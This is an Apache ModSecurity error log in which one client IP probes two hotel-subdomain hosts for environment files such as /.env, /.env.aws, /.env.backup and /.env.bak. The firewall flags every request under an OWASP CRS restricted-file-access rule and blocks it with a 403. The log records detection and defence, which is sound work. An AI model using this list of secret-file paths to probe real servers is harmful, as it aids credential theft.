[Sun Oct 25 04:06:21.437280 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fZ68N771hz7W4KlsPwAAAAw"]
[Sun Oct 25 04:06:21.437427 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fZ68N771hz7W4KlsPwAAAAw"]
[Sun Oct 25 04:06:21.437685 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fZ68N771hz7W4KlsPwAAAAw"]
[Sun Oct 25 04:06:21.439181 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fdxXWZMI2DaSlsHxLAAAABY"]
[Sun Oct 25 04:06:21.439381 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fdxXWZMI2DaSlsHxLAAAABY"]
[Sun Oct 25 04:06:21.439680 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fdxXWZMI2DaSlsHxLAAAABY"]
[Sun Oct 25 04:06:21.441072 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fS7GhhaIo05efijDFwAAAAc"]
[Sun Oct 25 04:06:21.441247 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fS7GhhaIo05efijDFwAAAAc"]
[Sun Oct 25 04:06:21.441564 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fS7GhhaIo05efijDFwAAAAc"]
[Sun Oct 25 04:06:21.457282 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fVTnwNJm6o1fQZIirAAAAAI"]
[Sun Oct 25 04:06:21.457484 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fVTnwNJm6o1fQZIirAAAAAI"]
[Sun Oct 25 04:06:21.457821 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at24fVTnwNJm6o1fQZIirAAAAAI"]
[Sun Oct 25 04:06:21.475541 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24fYHtOs-nfC4GshpRpQAAABc"]
[Sun Oct 25 04:06:21.475744 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24fYHtOs-nfC4GshpRpQAAABc"]
[Sun Oct 25 04:06:21.475840 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24farU4NwppjTEGaL6hAAAAAY"]
[Sun Oct 25 04:06:21.476014 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24farU4NwppjTEGaL6hAAAAAY"]
[Sun Oct 25 04:06:21.476038 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24fYHtOs-nfC4GshpRpQAAABc"]
[Sun Oct 25 04:06:21.476296 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at24farU4NwppjTEGaL6hAAAAAY"]
[Sun Oct 25 04:06:21.489208 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fbQKh4dfs72fmHxv8AAAAAE"]
[Sun Oct 25 04:06:21.489372 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fbQKh4dfs72fmHxv8AAAAAE"]
[Sun Oct 25 04:06:21.489614 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fbQKh4dfs72fmHxv8AAAAAE"]
[Sun Oct 25 04:06:21.511777 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fQLaiqtlZaJBsx4XyAAAAA0"]
[Sun Oct 25 04:06:21.511903 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fQLaiqtlZaJBsx4XyAAAAA0"]
[Sun Oct 25 04:06:21.512183 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at24fQLaiqtlZaJBsx4XyAAAAA0"]
[Sun Oct 25 04:06:21.520687 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fZ68N771hz7W4KlsQAAAAAw"]
[Sun Oct 25 04:06:21.520823 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fZ68N771hz7W4KlsQAAAAAw"]
[Sun Oct 25 04:06:21.521035 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fZ68N771hz7W4KlsQAAAAAw"]
[Sun Oct 25 04:06:21.522743 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fdxXWZMI2DaSlsHxLQAAABY"]
[Sun Oct 25 04:06:21.522855 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fdxXWZMI2DaSlsHxLQAAABY"]
[Sun Oct 25 04:06:21.523097 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at24fdxXWZMI2DaSlsHxLQAAABY"]
[Sun Oct 25 04:06:21.524587 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fS7GhhaIo05efijDGAAAAAc"]
[Sun Oct 25 04:06:21.524737 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fS7GhhaIo05efijDGAAAAAc"]
[Sun Oct 25 04:06:21.524982 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fS7GhhaIo05efijDGAAAAAc"]
[Sun Oct 25 04:06:21.541121 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fVTnwNJm6o1fQZIirQAAAAI"]
[Sun Oct 25 04:06:21.541244 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fVTnwNJm6o1fQZIirQAAAAI"]
[Sun Oct 25 04:06:21.541468 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at24fVTnwNJm6o1fQZIirQAAAAI"]
[Sun Oct 25 04:06:21.553684 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24fYHtOs-nfC4GshpRpgAAABc"]
[Sun Oct 25 04:06:21.553881 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24fYHtOs-nfC4GshpRpgAAABc"]
[Sun Oct 25 04:06:21.554197 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at24fYHtOs-nfC4GshpRpgAAABc"]
